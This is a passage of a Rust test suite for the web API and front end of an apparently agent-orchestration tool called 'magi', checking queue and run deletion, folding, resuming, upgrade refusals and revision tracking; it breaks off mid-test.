12143        // decides whether to mount a frame at all.
12144        assert_eq!(
12145            fx.head(&format!("/api/questions/{id}/panel")).await.status,
12146            200
12147        );
12148    }
12149
12150    #[test]
12151    fn runs_revision_moves_when_deleting_an_older_run() {
12152        let temp = TempDir::new().expect("tempdir");
12153        let runs = temp.path().join("runs");
12154        std::fs::create_dir_all(&runs).expect("create runs dir");
12155
12156        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12157
12158        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12159        std::thread::sleep(Duration::from_millis(10));
12160        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12161
12162        let rev_before = runs_revision(&runs);
12163        assert!(rev_before > 0);
12164
12165        let old_dir = runs.join("20260901-100000-old1");
12166        std::fs::remove_dir_all(&old_dir).expect("remove old run");
12167
12168        let rev_after = runs_revision(&runs);
12169        assert_ne!(
12170            rev_before, rev_after,
12171            "deleting an older run must change the revision so other clients see the deletion"
12172        );
12173    }
12174
12175    /// A run's own `run.json` on an explicit `runs` root, bypassing the
12176    /// process-global home entirely — `RunState::save` writes through
12177    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
12178    /// (see `tests::home_lock` in the integration suite for why).
12179    fn write_state(runs: &FsPath, state: &RunState) {
12180        let dir = runs.join(&state.id);
12181        std::fs::create_dir_all(&dir).expect("run dir");
12182        std::fs::write(
12183            dir.join("run.json"),
12184            serde_json::to_string_pretty(state).expect("serialize run"),
12185        )
12186        .expect("write run.json");
12187    }
12188
12189    /// A seat starting or finishing is a write to `run.json` like any other,
12190    /// so it moves the same revision the change stream already watches —
12191    /// nothing new for `/api/events` to learn, but the property this feature
12192    /// depends on to reach the phone without a poll.
12193    #[test]
12194    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12195        let temp = TempDir::new().expect("tempdir");
12196        let runs = temp.path().join("runs");
12197        std::fs::create_dir_all(&runs).expect("create runs dir");
12198        let mut state = RunState::new(
12199            PathBuf::from("/repo/magi"),
12200            "main".to_owned(),
12201            "0123456789abcdef".to_owned(),
12202            "task".to_owned(),
12203            Config::default(),
12204        );
12205        state.id = "20260902-100000-c0de".to_owned();
12206        write_state(&runs, &state);
12207
12208        let rev_idle = runs_revision(&runs);
12209        std::thread::sleep(Duration::from_millis(10));
12210        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12211        write_state(&runs, &state);
12212        let rev_started = runs_revision(&runs);
12213        assert_ne!(
12214            rev_idle, rev_started,
12215            "a seat starting must move the revision"
12216        );
12217
12218        std::thread::sleep(Duration::from_millis(10));
12219        state.seat_finished("judge-1");
12220        write_state(&runs, &state);
12221        let rev_finished = runs_revision(&runs);
12222        assert_ne!(
12223            rev_started, rev_finished,
12224            "and clearing it again must move the revision a second time"
12225        );
12226    }
12227
12228    #[tokio::test]
12229    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12230        // `TaskView` flattens `Task`, so this is really asserting that
12231        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
12232        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
12233        // never touched web.rs, so nothing here caught it if it had.
12234        let fx = Fixture::start().await;
12235        let q = fx.queue();
12236
12237        let mut t = Task::new(
12238            "Task".to_owned(),
12239            "Instruction".to_owned(),
12240            PathBuf::from("/repo"),
12241            Source::Human,
12242        );
12243        t.block(
12244            vec!["20260101-000000-dead".to_owned()],
12245            Some("waiting on Task 1".to_owned()),
12246        );
12247        t.answers.push(crate::queue::AnsweredQuestion {
12248            question: "Which backend?".to_owned(),
12249            answer: "SQLite".to_owned(),
12250        });
12251        q.put(&mut t).expect("put t");
12252
12253        let res = fx.get("/api/queue").await;
12254        assert_eq!(res.status, 200);
12255        let list = res.json();
12256        let view = list
12257            .as_array()
12258            .expect("array")
12259            .iter()
12260            .find(|v| v["id"] == t.id)
12261            .expect("task in list");
12262        assert_eq!(view["status_str"], "blocked");
12263        assert_eq!(
12264            view["blocked_by"],
12265            serde_json::json!(["20260101-000000-dead"])
12266        );
12267        assert_eq!(view["block_reason"], "waiting on Task 1");
12268        assert_eq!(view["answers"][0]["question"], "Which backend?");
12269        assert_eq!(view["answers"][0]["answer"], "SQLite");
12270
12271        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
12272        // but never `answers` - that is a settled decision, not state
12273        // describing the current block, so it survives.
12274        let res = fx
12275            .post(&format!("/api/queue/{}/hold", t.short()), None)
12276            .await;
12277        assert_eq!(res.status, 200);
12278        let held = res.json();
12279        assert_eq!(held["status_str"], "held");
12280        assert_eq!(held["blocked_by"], serde_json::json!([]));
12281        assert!(held["block_reason"].is_null());
12282        assert_eq!(held["answers"][0]["answer"], "SQLite");
12283    }
12284
12285    #[tokio::test]
12286    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12287        let fx = Fixture::start().await;
12288        let q = fx.queue();
12289        let mk = |title: &str| {
12290            Task::new(
12291                title.to_owned(),
12292                "Instruction".to_owned(),
12293                PathBuf::from("/repo"),
12294                Source::Human,
12295            )
12296        };
12297        let mut root = mk("root");
12298        root.hold_manual(Some("waiting".to_owned()));
12299        q.put(&mut root).unwrap();
12300        let mut mid = mk("mid");
12301        mid.block(vec![root.id.clone()], None);
12302        q.put(&mut mid).unwrap();
12303        let mut leaf = mk("leaf");
12304        leaf.block(vec![mid.id.clone()], None);
12305        q.put(&mut leaf).unwrap();
12306
12307        let list = fx.get("/api/queue").await.json();
12308        let find = |id: &str| {
12309            list.as_array()
12310                .unwrap()
12311                .iter()
12312                .find(|v| v["id"] == id)
12313                .unwrap()
12314                .clone()
12315        };
12316        let leaf_view = find(&leaf.id);
12317        assert_eq!(
12318            leaf_view["waits_on"],
12319            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12320        );
12321        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12322        assert_eq!(
12323            find(&mid.id)["waits_on"],
12324            serde_json::json!([format!("{} (held)", root.short())])
12325        );
12326        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12327    }
12328
12329    #[tokio::test]
12330    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12331        let fx = Fixture::start().await;
12332        let q = fx.queue();
12333
12334        // 1. A queued task with runs attached can be deleted.
12335        let mut t1 = Task::new(
12336            "Task 1".to_owned(),
12337            "Instruction 1".to_owned(),
12338            PathBuf::from("/repo"),
12339            Source::Human,
12340        );
12341        let run_id = "20260901-000000-r111";
12342        t1.runs.push(run_id.to_owned());
12343        write_run(&fx.runs(), run_id, RunStatus::Merged);
12344        q.put(&mut t1).expect("put t1");
12345
12346        // Delete by short id
12347        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12348        assert_eq!(res.status, 204);
12349        assert!(res.body.is_empty(), "204 No Content has no body");
12350        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12351        assert!(
12352            fx.runs().join(run_id).exists(),
12353            "run directory must not be deleted when its task is deleted"
12354        );
12355
12356        // 2. A task a live daemon is running is refused with 409.
12357        let mut t2 = Task::new(
12358            "Task 2".to_owned(),
12359            "Instruction 2".to_owned(),
12360            PathBuf::from("/repo"),
12361            Source::Human,
12362        );
12363        t2.status = TaskStatus::Running;
12364        q.put(&mut t2).expect("put t2");
12365        let mut beat = crate::daemon::Status::new();
12366        beat.current = vec![crate::daemon::Current {
12367            task: t2.id.clone(),
12368            run: "20260901-000000-r222".to_owned(),
12369        }];
12370        beat.updated_at = jiff::Timestamp::now();
12371        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12372            .expect("publish a heartbeat");
12373        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12374        assert_eq!(res.status, 409);
12375        assert!(
12376            res.json()["error"]
12377                .as_str()
12378                .unwrap()
12379                .contains("live daemon")
12380        );
12381        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12382
12383        // 3. The same `running` status and an orphaned lock, with no daemon
12384        // behind either, is a leftover and deletable. Before this the phone
12385        // refused it for good: the status never changes on its own and
12386        // nothing drops a lock whose process is gone.
12387        // The daemon is killed: the file stays, the heartbeat stops.
12388        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12389        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12390            .expect("leave a stale heartbeat");
12391        let mut t3 = Task::new(
12392            "Task 3".to_owned(),
12393            "Instruction 3".to_owned(),
12394            PathBuf::from("/repo"),
12395            Source::Human,
12396        );
12397        t3.status = TaskStatus::Running;
12398        q.put(&mut t3).expect("put t3");
12399        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12400        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12401        assert_eq!(res.status, 204);
12402        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12403        assert!(
12404            q.claim(&t3.id).is_ok(),
12405            "the stale lock went with it, so the id is claimable again"
12406        );
12407
12408        // 4. Missing id returns 404
12409        let res = fx.delete("/api/queue/nonexistent").await;
12410        assert_eq!(res.status, 404);
12411    }
12412
12413    #[tokio::test]
12414    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12415        let fx = Fixture::start().await;
12416        let runs = fx.runs();
12417
12418        // 1. Finished and folded run can be deleted along with artifacts
12419        let run_id = "20260901-000000-fold";
12420        let mut state = RunState::new(
12421            PathBuf::from("/repo"),
12422            "main".to_owned(),
12423            "abc".to_owned(),
12424            "instruction".to_owned(),
12425            Config::default(),
12426        );
12427        state.id = run_id.to_owned();
12428        state.status = RunStatus::Merged;
12429        state.candidates.push(crate::run::Candidate {
12430            index: 0,
12431            label: 'A',
12432            agent: "a".to_owned(),
12433            branch: "b".to_owned(),
12434            worktree: PathBuf::from("/w"),
12435            summary: String::new(),
12436            stat: String::new(),
12437            files: 1,
12438            commits: 1,
12439            empty: false,
12440            failed: None,
12441            verified_noop: None,
12442            duration_ms: 0,
12443            folded: true,
12444        });
12445        let dir = runs.join(run_id);
12446        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12447        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12448            .expect("write artifact");
12449        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12450            .expect("write run.json");
12451
12452        // Delete by short id
12453        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12454        assert_eq!(res.status, 204);
12455        assert!(res.body.is_empty(), "204 has no body");
12456        assert!(!dir.exists(), "run directory and artifacts must be deleted");
12457
12458        // 2. A run a live daemon is working on is refused with 409. The
12459        // heartbeat is what makes it refusable: an unfinished run with no
12460        // daemon behind it is a leftover from a killed process, and case 1
12461        // above would otherwise be impossible to tell apart from this one.
12462        let run_running = "20260901-000000-rung";
12463        write_run(&runs, run_running, RunStatus::Prep);
12464        let mut beat = crate::daemon::Status::new();
12465        beat.current = vec![crate::daemon::Current {
12466            task: "20260901-000000-task".to_owned(),
12467            run: run_running.to_owned(),
12468        }];
12469        beat.updated_at = jiff::Timestamp::now();
12470        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12471            .expect("publish a heartbeat");
12472        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12473        assert_eq!(res.status, 409);
12474        assert!(
12475            res.json()["error"]
12476                .as_str()
12477                .unwrap()
12478                .contains("live daemon"),
12479            "the refusal must say who is holding it"
12480        );
12481        assert!(
12482            runs.join(run_running).exists(),
12483            "a run in flight keeps its directory"
12484        );
12485
12486        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
12487        let run_unfolded = "20260901-000000-unfd";
12488        let mut state2 = RunState::new(
12489            PathBuf::from("/repo"),
12490            "main".to_owned(),
12491            "abc".to_owned(),
12492            "instruction".to_owned(),
12493            Config::default(),
12494        );
12495        state2.id = run_unfolded.to_owned();
12496        state2.status = RunStatus::Ready;
12497        state2.candidates.push(crate::run::Candidate {
12498            index: 0,
12499            label: 'A',
12500            agent: "a".to_owned(),
12501            branch: "b".to_owned(),
12502            worktree: PathBuf::from("/w"),
12503            summary: String::new(),
12504            stat: String::new(),
12505            files: 1,
12506            commits: 1,
12507            empty: false,
12508            failed: None,
12509            verified_noop: None,
12510            duration_ms: 0,
12511            folded: false,
12512        });
12513        let dir2 = runs.join(run_unfolded);
12514        std::fs::create_dir_all(&dir2).expect("create dir2");
12515        std::fs::write(
12516            dir2.join("run.json"),
12517            serde_json::to_string(&state2).unwrap(),
12518        )
12519        .expect("write run.json");
12520
12521        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12522        assert_eq!(res.status, 409);
12523        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12524        assert!(dir2.exists(), "unfolded run directory is kept");
12525
12526        // 4. Missing id returns 404
12527        let res = fx.delete("/api/runs/nonexistent").await;
12528        assert_eq!(res.status, 404);
12529    }
12530
12531    /// The queue tiles on the Stats tab must render even on a home with no
12532    /// runs at all: queue state is not derived from run history, so hiding
12533    /// the whole dashboard body behind "no runs yet" would drop the one
12534    /// thing this tab promises unconditionally (queued/running/held/done).
12535    /// A DOM-level test would need a browser this suite does not have, so
12536    /// this pins the same invariant textually: `renderStatsQueue` is called
12537    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
12538    /// block that gates the run-derived panels.
12539    #[test]
12540    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12541        let start = APP_JS
12542            .find("function renderStats() {")
12543            .expect("renderStats");
12544        let end = start
12545            + APP_JS[start..]
12546                .find("function statsTile(")
12547                .expect("the next top-level function");
12548        let body = &APP_JS[start..end];
12549
12550        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12551        let gate_end = gate_start
12552            + body[gate_start..]
12553                .find("}\n  renderStatsQueue")
12554                .expect("the gate's own closing brace, right before the unconditional call");
12555        let gated = &body[gate_start..gate_end];
12556
12557        assert_eq!(
12558            body.matches("renderStatsQueue(").count(),
12559            1,
12560            "renderStats must call renderStatsQueue exactly once: {body}"
12561        );
12562        assert!(
12563            !gated.contains("renderStatsQueue"),
12564            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12565             run-derived panels on an empty run history - the queue panel has to render \
12566             regardless: {gated}"
12567        );
12568    }
12569
12570    #[test]
12571    fn web_ui_delete_contract_in_front_end() {
12572        // 1. API block has both delete endpoints
12573        assert!(APP_JS.contains("deleteRun:"));
12574        assert!(APP_JS.contains("deleteTask:"));
12575
12576        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
12577        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12578            ..APP_JS.find("function renderRuns").unwrap()];
12579        assert!(!run_cards_slice.to_lowercase().contains("delete"));
12580
12581        // 3. Run detail has delete entry and reasons
12582        assert!(APP_JS.contains("renderRunDelete"));
12583        assert!(APP_JS.contains("runDeleteReason"));
12584        assert!(APP_JS.contains("magi fold"));
12585        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12586
12587        // 4. Two-step delete arming and focus on Cancel
12588        assert!(APP_JS.contains("cancel.focus"));
12589        assert!(APP_JS.contains("armedRunDelete"));
12590        assert!(APP_JS.contains("renderTaskDeleteBox"));
12591        assert!(APP_JS.contains("armed${cap(key)}"));
12592
12593        // 5. Running task has disabled delete
12594        assert!(APP_JS.contains("disabled: status === \"running\""));
12595    }
12596
12597    /// Every element a run card's updater reaches for must be in the `refs`
12598    /// the builder handed it.
12599    ///
12600    /// `createRunCard` builds its elements, appends them to the card, and then
12601    /// lists them again in `row.refs`. That second list is the one the updater
12602    /// uses, and nothing connects the two - an element can be built, appended
12603    /// and rendered, and still be missing from `refs`. `superseded` was, for
12604    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
12605    /// exception took `syncList` with it, and the deck showed
12606    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
12607    /// line is computed before the cards, which is why the failure looked like
12608    /// a server that had lost its runs rather than a front end that had
12609    /// stopped rendering them.
12610    ///
12611    /// A `cargo test` cannot execute the front end, so this reads the two
12612    /// halves out of the source and compares them as sets. It is not a check
12613    /// on the wording of either list: adding an element, renaming one, or
12614    /// reordering them all keeps this passing, and only using one the builder
12615    /// never published fails it.
12616    #[test]
12617    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12618        let build = APP_JS
12619            .find("function createRunCard")
12620            .expect("createRunCard exists");
12621        let update = APP_JS
12622            .find("function updateRunCard")
12623            .expect("updateRunCard exists");
12624        let end = APP_JS
12625            .find("function renderRuns")
12626            .expect("renderRuns exists");
12627
12628        // The builder's published set: the object literal assigned to `refs`.
12629        let builder = &APP_JS[build..update];
12630        let open = builder.find("refs = {").expect("createRunCard sets refs");
12631        let literal = &builder[open + "refs = {".len()..];
12632        let close = literal.find('}').expect("the refs literal is closed");
12633        let published: HashSet<&str> = literal[..close]
12634            .split(',')
12635            // `name` and `name: value` both bind `name`.
12636            .filter_map(|entry| entry.split(':').next())
12637            .map(str::trim)
12638            .filter(|name| !name.is_empty())
12639            .collect();
12640        assert!(
12641            published.len() > 5,
12642            "the refs literal did not parse into names: {published:?}"
12643        );
12644
12645        // What the updaters reach for: every `r.<name>`, where `r` is the
12646        // `const r = row.refs` alias both functions open with.
12647        let mut used: Vec<&str> = Vec::new();
12648        let updaters = &APP_JS[update..end];
12649        for (at, _) in updaters.match_indices("r.") {
12650            // `r` must be the whole identifier, not the tail of another one
12651            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
12652            let before = updaters[..at].chars().next_back();
12653            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12654                continue;
12655            }
12656            let rest = &updaters[at + 2..];
12657            let len = rest
12658                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12659                .unwrap_or(rest.len());
12660            if len > 0 {
12661                used.push(&rest[..len]);
12662            }
12663        }
12664        assert!(
12665            used.len() > 5,
12666            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12667        );
12668
12669        let missing: Vec<&str> = used
12670            .iter()
12671            .copied()
12672            .filter(|name| !published.contains(name))
12673            .collect();
12674        assert!(
12675            missing.is_empty(),
12676            "a run card's updater reaches for {missing:?}, which `createRunCard` \
12677             never put in `refs` - every card will throw and the list will \
12678             render empty under a count line that says otherwise. Published: \
12679             {published:?}"
12680        );
12681    }
12682
12683    #[tokio::test]
12684    async fn folding_from_the_phone_reports_what_it_removed() {
12685        let fx = Fixture::start().await;
12686        let runs = fx.runs();
12687
12688        // A run with no candidates has nothing to fold, which is a 200 with an
12689        // honest count rather than an error: the operator asked for the trees
12690        // to be gone and they are.
12691        let id = "20260901-000000-fold";
12692        write_run(&runs, id, RunStatus::Stalled);
12693        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12694        assert_eq!(res.status, 200);
12695        assert_eq!(res.json()["removed_count"], 0);
12696        assert_eq!(res.json()["run"], id);
12697        assert!(
12698            runs.join(id).exists(),
12699            "a fold keeps the run's record; only the worktrees go"
12700        );
12701    }
12702
12703    #[tokio::test]
12704    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12705        let fx = Fixture::start().await;
12706        let runs = fx.runs();
12707        let wt = fx.home.path().join("wt").join("magi").join("dead");
12708        let id = "20260901-000000-dead";
12709        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12710        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12711        std::fs::create_dir_all(&wt).expect("worktree dir");
12712
12713        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12714        assert_eq!(res.status, 200, "{}", res.body);
12715        assert!(
12716            res.json()["removed_count"].as_u64().unwrap() > 0,
12717            "the worktree this build could not read a state for still went"
12718        );
12719        assert!(
12720            !runs.join(id).exists(),
12721            "an unreadable run has no candidate list to fold selectively, so \
12722             the whole record goes - same as `magi fold` on the CLI"
12723        );
12724    }
12725
12726    #[tokio::test]
12727    async fn deleting_an_unreadable_run_removes_it_wholesale() {
12728        let fx = Fixture::start().await;
12729        let runs = fx.runs();
12730        let wt = fx.home.path().join("wt").join("magi").join("gone");
12731        let id = "20260901-000000-gone";
12732        std::fs::create_dir_all(runs.join(id)).expect("run dir");
12733        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12734        std::fs::create_dir_all(&wt).expect("worktree dir");
12735
12736        let res = fx.delete(&format!("/api/runs/{id}")).await;
12737        assert_eq!(res.status, 204, "{}", res.body);
12738        assert!(!runs.join(id).exists(), "the broken record is gone");
12739        assert!(!wt.exists(), "its worktree is gone too");
12740    }
12741
12742    #[tokio::test]
12743    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12744        let fx = Fixture::start().await;
12745        let runs = fx.runs();
12746        let id = "20260901-000000-live";
12747        write_run(&runs, id, RunStatus::Implementing);
12748
12749        let mut beat = crate::daemon::Status::new();
12750        beat.current = vec![crate::daemon::Current {
12751            task: "20260901-000000-task".to_owned(),
12752            run: id.to_owned(),
12753        }];
12754        beat.updated_at = jiff::Timestamp::now();
12755        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12756            .expect("publish a heartbeat");
12757
12758        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12759        assert_eq!(res.status, 409);
12760        assert!(
12761            res.json()["error"]
12762                .as_str()
12763                .unwrap()
12764                .contains("live daemon"),
12765            "folding under a running agent would pull its worktree away"
12766        );
12767    }
12768
12769    #[tokio::test]
12770    async fn fold_merged_requires_a_pr_url() {
12771        let fx = Fixture::start().await;
12772        let runs = fx.runs();
12773        let id = "20260901-000000-nourl";
12774        write_run(&runs, id, RunStatus::Blocked);
12775
12776        let res = fx
12777            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12778            .await;
12779        assert_eq!(res.status, 400, "{}", res.body);
12780
12781        let blank = fx
12782            .post(
12783                &format!("/api/runs/{id}/fold-merged"),
12784                Some(r#"{"pr_url":"   "}"#),
12785            )
12786            .await;
12787        assert_eq!(blank.status, 400, "{}", blank.body);
12788    }
12789
12790    #[tokio::test]
12791    async fn fold_merged_is_404_for_an_unknown_run() {
12792        let fx = Fixture::start().await;
12793        let res = fx
12794            .post(
12795                "/api/runs/nosuchrun/fold-merged",
12796                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12797            )
12798            .await;
12799        assert_eq!(res.status, 404, "{}", res.body);
12800    }
12801
12802    #[tokio::test]
12803    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12804        let fx = Fixture::start().await;
12805        let runs = fx.runs();
12806        let id = "20260901-000000-livemerge";
12807        write_run(&runs, id, RunStatus::Blocked);
12808
12809        let mut beat = crate::daemon::Status::new();
12810        beat.current = vec![crate::daemon::Current {
12811            task: "20260901-000000-task".to_owned(),
12812            run: id.to_owned(),
12813        }];
12814        beat.updated_at = jiff::Timestamp::now();
12815        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12816            .expect("publish a heartbeat");
12817
12818        let res = fx
12819            .post(
12820                &format!("/api/runs/{id}/fold-merged"),
12821                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12822            )
12823            .await;
12824        assert_eq!(res.status, 409, "{}", res.body);
12825        assert!(
12826            res.json()["error"]
12827                .as_str()
12828                .unwrap()
12829                .contains("live daemon"),
12830            "correcting a run's merge underneath a running agent would race \
12831             whatever it is doing to the same `status`/`merge` fields"
12832        );
12833    }
12834
12835    /// A pull request `gh` cannot even ask about (no such remote, no such
12836    /// repository) must never be recorded as a merge on a guess - the same
12837    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
12838    /// command line, reached here through the phone route instead.
12839    #[tokio::test]
12840    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12841        let fx = Fixture::start().await;
12842        let runs = fx.runs();
12843        let id = "20260901-000000-unconfirmed";
12844        write_run(&runs, id, RunStatus::Blocked);
12845
12846        let res = fx
12847            .post(
12848                &format!("/api/runs/{id}/fold-merged"),
12849                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12850            )
12851            .await;
12852        assert_eq!(res.status, 400, "{}", res.body);
12853        assert_eq!(
12854            read_run(&runs, id).unwrap().status,
12855            RunStatus::Blocked,
12856            "a pull request that could not be confirmed merged must leave \
12857             the run exactly where it was"
12858        );
12859    }
12860
12861    #[tokio::test]
12862    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12863        let fx = Fixture::start().await;
12864        let runs = fx.runs();
12865
12866        // Only a finished run and a failed one. An *interrupted* run - a
12867        // parked one, or one whose daemon was killed mid-node - is the case
12868        // resuming exists for: run 4043 sat at `reviewing` with the deck
12869        // saying it could not be resumed, which was the one state where
12870        // resuming was the only sensible answer.
12871        for (status, word) in [
12872            (RunStatus::Merged, "merged"),
12873            (RunStatus::Ready, "ready"),
12874            (RunStatus::Failed, "failed"),
12875        ] {
12876            let id = format!("20260901-000000-{}", &word[..4]);
12877            write_run(&runs, &id, status);
12878            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12879            assert_eq!(res.status, 409, "{word} must not be resumable");
12880            let err = res.json()["error"].as_str().unwrap().to_owned();
12881            assert!(err.contains(word), "the refusal names the status: {err}");
12882        }
12883
12884        // And an interrupted run is accepted: 202, with the resume running in
12885        // the background. `Runner::resume` fails immediately here - the
12886        // fixture's run points at a repository that does not exist - which is
12887        // the point: the handler must not wait for it to find out.
12888        let mid = "20260901-000000-midf";
12889        write_run(&runs, mid, RunStatus::Reviewing);
12890        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12891        assert_eq!(res.status, 202, "an interrupted run is resumable");
12892    }
12893
12894    #[tokio::test]
12895    async fn resume_is_refused_while_the_loop_is_running() {
12896        let fx = Fixture::start().await;
12897        let runs = fx.runs();
12898        let stalled = "20260901-000000-stal";
12899        write_run(&runs, stalled, RunStatus::Stalled);
12900
12901        // The loop is busy with a *different* run, and that is still a
12902        // refusal: a manual resume must never race whatever the loop itself
12903        // is already driving, whether that is one run or several.
12904        let mut beat = crate::daemon::Status::new();
12905        beat.current = vec![crate::daemon::Current {
12906            task: "20260901-000000-task".to_owned(),
12907            run: "20260901-000000-othr".to_owned(),
12908        }];
12909        beat.updated_at = jiff::Timestamp::now();
12910        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12911            .expect("publish a heartbeat");
12912
12913        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12914        assert_eq!(res.status, 409);
12915        let err = res.json()["error"].as_str().unwrap().to_owned();
12916        assert!(err.contains("othr"), "it names what the loop is on: {err}");
12917        assert!(err.contains("stop it first"), "{err}");
12918    }
12919
12920    #[test]
12921    fn a_run_cannot_be_resumed_twice_at_once() {
12922        let home = TempDir::new().expect("temp home");
12923        let ui = Ui::new(
12924            Queue::at(home.path().join("queue")),
12925            Questions::at(home.path().join("questions")),
12926            Talks::at(home.path().join("talks")),
12927            home.path().join("runs"),
12928            home.path().to_path_buf(),
12929            PathBuf::from("/repo"),
12930        )
12931        .with_worktrees_root(home.path().join("wt"));
12932        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12933        let again = ui.begin_resume("20260901-000000-once");
12934        assert!(again.is_err(), "a second tap must not start a second graph");
12935        drop(first);
12936        assert!(
12937            ui.begin_resume("20260901-000000-once").is_ok(),
12938            "and the claim is released when the attempt ends"
12939        );
12940    }
12941
12942    #[test]
12943    fn talk_thinking_tracks_only_its_held_turn_claim() {
12944        let home = TempDir::new().expect("temp home");
12945        let ui = Ui::new(
12946            Queue::at(home.path().join("queue")),
12947            Questions::at(home.path().join("questions")),
12948            Talks::at(home.path().join("talks")),
12949            home.path().join("runs"),
12950            home.path().to_path_buf(),
12951            PathBuf::from("/repo"),
12952        )
12953        .with_worktrees_root(home.path().join("wt"));
12954        let id = "20260901-000000-once";
12955
12956        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12957        let turn = ui.begin_talk_turn(id).expect("claim turn");
12958        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12959        assert!(
12960            !ui.is_thinking("20260901-000000-other"),
12961            "one talk's turn does not make another talk busy"
12962        );
12963        drop(turn);
12964        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12965    }
12966
12967    #[tokio::test]
12968    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12969        let fx = Fixture::start().await;
12970        // Somebody else's `magi serve` owns the queue. Replacing this binary
12971        // would leave that process running an old one against the same
12972        // claims, which is worse than refusing.
12973        let mut beat = crate::daemon::Status::new();
12974        beat.pid = 4321;
12975        beat.updated_at = jiff::Timestamp::now();
12976        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12977            .expect("publish a heartbeat");
12978
12979        let res = fx.post("/api/upgrade", None).await;
12980        assert_eq!(res.status, 409);
12981        let err = res.json()["error"].as_str().unwrap().to_owned();
12982        assert!(err.contains("4321"), "the refusal names the owner: {err}");
12983        assert!(err.contains("old one against the same queue"), "{err}");
12984    }
12985
12986    /// [`should_spawn_recheck`] must refuse for the same two reasons
12987    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
12988    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
12989    /// Purely a predicate over config and the environment - no network, no
12990    /// disk, no runtime - so unlike the fixture-based tests around it this
12991    /// one needs neither.
12992    #[test]
12993    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12994        assert!(!should_spawn_recheck(&crate::config::Update {
12995            mode: UpdateMode::Off,
12996            interval: None,
12997        }));
12998
12999        // SAFETY: single-threaded as far as this variable goes, the same
13000        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
13001        unsafe {
